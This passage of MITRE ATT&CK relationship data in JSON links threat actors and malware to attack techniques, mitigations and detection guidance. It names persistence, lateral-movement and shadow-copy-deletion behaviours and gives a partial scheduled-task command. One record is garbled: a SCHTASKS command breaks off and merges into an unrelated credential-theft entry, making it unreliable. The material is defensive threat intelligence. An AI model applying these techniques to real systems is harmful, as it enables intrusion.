AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}],"modified":"2021-04-22T13:26:51.049Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used pass the hash for authentication to remote access software used in C2.(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80e1e1e0-a60e-4ba6-a19a-4bc7a94f1cc6","created":"2023-03-13T13:41:29.021Z","revoked":false,"external_references":[{"source_name":"Microsoft Manage Mail Flow Rules 2023","description":"Microsoft. (2023, February 22). Manage mail flow rules in Exchange Online. Retrieved March 13, 2023.","url":"https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/manage-mail-flow-rules"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T13:41:29.021Z","description":"In an Exchange environment, Administrators can use `Get-TransportRule` / `Remove-TransportRule` to discover and remove potentially malicious transport rules.(Citation: Microsoft Manage Mail Flow Rules 2023)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80e20d44-b799-4734-9de3-009f564f3ca0","created":"2022-09-22T22:00:35.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T20:50:59.206Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used scheduled tasks to execute batch scripts for lateral movement with the following command: `SCHTASKS /Create /S /U /p /SC ONCE /TN test /TR /ST and user-auth_pubkey functions to steal plaintext credentials.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85482d65-d2ac-4d79-8ee4-da653e73aa8f","type":"relationship","created":"2019-06-05T13:20:24.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."},{"source_name":"Trend Micro njRAT 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019."}],"modified":"2020-10-08T18:47:57.587Z","description":"[njRAT](https://attack.mitre.org/software/S0385) has added persistence via the Registry key HKCU\\Software\\Microsoft\\CurrentVersion\\Run\\ and dropped a shortcut in %STARTUP%.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85485375-fa2c-4757-9ca8-a8013b2cb364","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for changes made to files that may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--854c6087-6c6c-4450-b931-2613f664594d","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T16:39:54.607Z","description":"Inspect the content of the network traffic to look for signs of suspicious web traffic, such as phishing links or abnormal HTTP GET/POST requests.\n\nAnalytic 1 - Suspicious network traffic content\n\n sourcetype=network_traffic_content\n| search http_method=\"GET\" OR http_method=\"POST\"\n| stats count by url domain http_method\n| where domain NOT IN (\"\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--854e11fd-f29e-4b7e-a3c2-f4c8c9ee302f","type":"relationship","created":"2020-02-19T18:52:25.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-25T13:12:57.027Z","description":"Use of multi-factor authentication for public-facing webmail servers is a recommended best practice to minimize the usefulness of usernames and passwords to adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--854edd76-3754-46fb-978e-74c1bb460bf2","created":"2022-03-30T14:26:51.876Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Also collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.","modified":"2022-04-19T03:12:08.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--854fd292-dbaf-4112-96b2-824364c82a4c","type":"relationship","created":"2019-01-31T00:23:06.367Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","source_name":"Unit 42 Nokki Oct 2018"}],"modified":"2020-03-17T01:19:36.980Z","description":"[Final1stspy](https://attack.mitre.org/software/S0355) obtains victim Microsoft Windows version information and CPU architecture.(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8550e43c-ca91-416e-a75a-b6f5f979d457","type":"relationship","created":"2021-02-17T20:27:27.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-03-31T18:43:23.360Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) can wipe deleted data from all drives using cipher.exe.(Citation: IBM MegaCortex)","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--855347b7-4f23-4565-8738-f21a014c75cc","created":"2023-03-31T19:38:48.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T20:14:30.892Z","description":"[Royal](https://attack.mitre.org/software/S1073) can enumerate the shared resources of a given IP addresses using the API call `NetShareEnum`.(Citation: Cybereason Royal December 2022)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--855a735f-756f-4911-a69b-454439a38037","type":"relationship","created":"2021-09-21T17:02:09.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:48.819Z","description":"[Turian](https://attack.mitre.org/software/S0647) can use WinRAR to create a password-protected archive for files of interest.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--855bbd91-c7b6-405c-9d7c-881a04e79b6f","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor newly executed processes that may take control of preexisting sessions with remote services to move laterally in an environment.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--855bcd64-ef37-4197-8d3e-2c147d42d774","created":"2020-06-01T14:41:54.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="},{"source_name":"Proofpoint TA505 October 2019","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:20:09.402Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to identify the OS version, OS bit information and computer name.(Citation: Proofpoint TA505 October 2019)(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--855c5caf-8553-45d0-a08b-842a9358d138","created":"2022-09-21T22:43:00.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T20:35:05.585Z","description":"During [C0010](https://attack.mitre.org/campaigns/C0010), UNC3890 actors likely established a watering hole that was hosted on a login page of a legitimate Israeli shipping company that was active until at least November 2021.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--855c7acd-9fa1-48a3-af4a-16de53499c3b","type":"relationship","created":"2020-11-13T20:48:15.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T20:48:15.127Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can delete .LNK files created in the Startup folder.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8561e826-0aa8-4711-ab0b-fffb0b03ff13","type":"relationship","created":"2019-03-11T17:56:45.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.383Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use WMI to deliver a payload to a remote host.(Citation: Github PowerShell Empire) ","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--856670ef-15ae-4d32-a24d-4aba27297586","type":"relationship","created":"2020-10-27T19:26:37.993Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:26:37.993Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has collected the victim machine's local IP address information and MAC address.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--856aff2c-9289-4c45-ade7-24cb3c338003","created":"2023-03-22T03:24:55.359Z","revoked":false,"external_references":[{"source_name":"Unit 42 CARROTBAT November 2018","description":"Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020.","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:24:55.359Z","description":"[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to execute obfuscated commands on the infected host.(Citation: Unit 42 CARROTBAT November 2018)","relationship_type":"uses","source_ref":"malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--856db86a-62a6-4545-898f-7eb44924cfde","created":"2023-02-23T18:10:30.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"},{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:27:37.496Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used malicious DLLs that setup persistence in the Registry Key `HKCU\\Software\\Microsoft\\Windows\\Current Version\\Run`.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--856dc5fd-84ee-41e0-b463-0ba54f98141c","created":"2023-03-10T21:09:14.536Z","revoked":false,"external_references":[{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T21:09:14.536Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) can use `cmd.exe` to enable shadow copy deletion.(Citation: Deep Instinct Black Basta August 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--856ebcb0-cfec-484a-a741-900bb4d7f38a","created":"2022-09-26T17:40:57.574Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T17:41:53.255Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can check system time to help determine when changes were made to specified files.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8576db0e-6a7c-40d4-b797-fb0094d5849f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT HARDRAIN March 2018","description":"US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf"}],"modified":"2020-03-20T02:27:21.804Z","description":"[HARDRAIN](https://attack.mitre.org/software/S0246) uses cmd.exe to execute netshcommands.(Citation: US-CERT HARDRAIN March 2018)","relationship_type":"uses","source_ref":"malware--bd0536d7-b081-43ae-a773-cfb057c5b988","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--857773f6-4b86-4483-8344-2331c241d472","created":"2023-03-31T19:33:59.445Z","revoked":false,"external_references":[{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T19:33:59.445Z","description":"[Royal](https://attack.mitre.org/software/S1073) can enumerate IP addresses using `GetIpAddrTable`.(Citation: Cybereason Royal December 2022)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8578fbb9-30c3-42e7-a23e-391eca15715b","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Entrust Enable CAPI2 Aug 2017","description":"Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.","url":"http://www.entrust.net/knowledge-base/technote.cfm?tn=8165"},{"source_name":"SpectorOps Subverting Trust Sept 2017","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"}]},{"type":"relationship","id":"relationship--857b5251-78d1-4f73-ac6a-e3f231718630","created":"2024-09-25T18:38:40.553Z","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:38:40.553Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used valid VPN accounts to achieve initial access.(Citation: CISA Play Ransomware Advisory December 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--857b5ce3-0eb0-4dae-a034-42cfa306a447","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/operation-daybreak/75100/","description":"Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.","source_name":"Securelist ScarCruft Jun 2016"},{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"},{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 